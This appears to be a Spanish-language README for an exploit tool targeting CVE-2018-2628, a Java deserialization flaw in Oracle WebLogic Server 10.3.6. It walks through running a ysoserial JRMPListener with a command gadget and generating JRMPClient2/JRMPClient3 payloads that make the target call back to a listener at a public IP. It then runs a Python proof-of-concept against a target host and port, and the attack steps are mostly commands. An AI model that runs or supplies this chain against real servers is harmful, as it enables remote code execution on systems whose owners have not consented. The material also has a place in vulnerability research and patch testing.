ysoserial-cve-2018-2628

0x1. Preparación

• Preparar el entorno de software necesario para el script POC, la generación de objetos Payload y la ejecución de JRMPListener
  Python 2.7.x
  Oracle Java SE 1.7+
• Preparar un entorno de WebLogic Server 10.3.6 con el parche Patch Set Update 180417 instalado (basta con AdminServer)
  Si ya dispone de un entorno WebLogic con esta versión de PSU instalada, puede omitir este paso.
• Preparar la herramienta POC
  Descargue el script POC (wls-cve-2018-2628-poc.py) de este proyecto.
  Descargue de la página de release de este proyecto el archivo jar de la utilidad de generación de objetos Payload y del programa JRMPListener (ysoserial-<version>-cve-2018-2628-all.jar)

0x2. Ejecutar JRMPListener

Formato del comando:

java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>

Ejemplo:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"

Cuando vea la salida *Opening JRMP listener on 22801, anote la dirección IP del host donde se ejecuta JRMPListener (en el ejemplo, se ejecuta en un host Alibaba Cloud ECS con IP pública 47.94.158.125) y el puerto especificado.

0x3. Generar la cadena Payload a partir de la IP y el puerto de escucha del host JRMPListener del paso anterior

Actualmente se conocen dos métodos (para generar la cadena del objeto Payload, basta con elegir uno de los dos métodos siguientes):

• Utilizar java.rmi.activation.Activator[CVE-2017-3248]

Formato del comando para generar la cadena del objeto Payload:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

Ejemplo:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

Ejemplo (datos de salida binarios del objeto Payload generado con JRMPClient2):

• Utilizar weblogic.jms.common.StreamMessageImpl para encapsular java.rmi.registry.Registry

Formato del comando para generar la cadena del objeto Payload:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

Ejemplo:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

Ejemplo (datos de salida binarios del objeto Payload generado con JRMPClient3):

0x4. Editar y ejecutar el script POC

Edite wls-cve-2018-2628-poc.py y reemplace el valor de la variable llamada payload_str en la parte superior del script con la cadena hexadecimal generada en el paso anterior (los valores de las dos variables payload_str incluidas en este script también pueden utilizarse directamente y corresponden a las cadenas hex generadas por los dos métodos anteriores).

Formato del comando:

python wls-cve-2018-2628-poc.py

Ejemplo:

python wls-cve-2018-2628-poc.py 192.168.64.83 7001

Ejemplo (con Patch Set Update 180417 instalado):

0x5. Agradecimientos

xxlegend@nsfocus (uno de los investigadores que descubrió y reportó la CVE-2018-2628; reveló el método de explotación de la vulnerabilidad y ejemplos de código relacionados)
badcode@knownsec (proporcionó el ejemplo de código para encapsular java.rmi.registry.Registry mediante weblogic.jms.common.StreamMessageImpl)
ysoserial project (recopila muchas utilidades de explotación de deserialización de Java)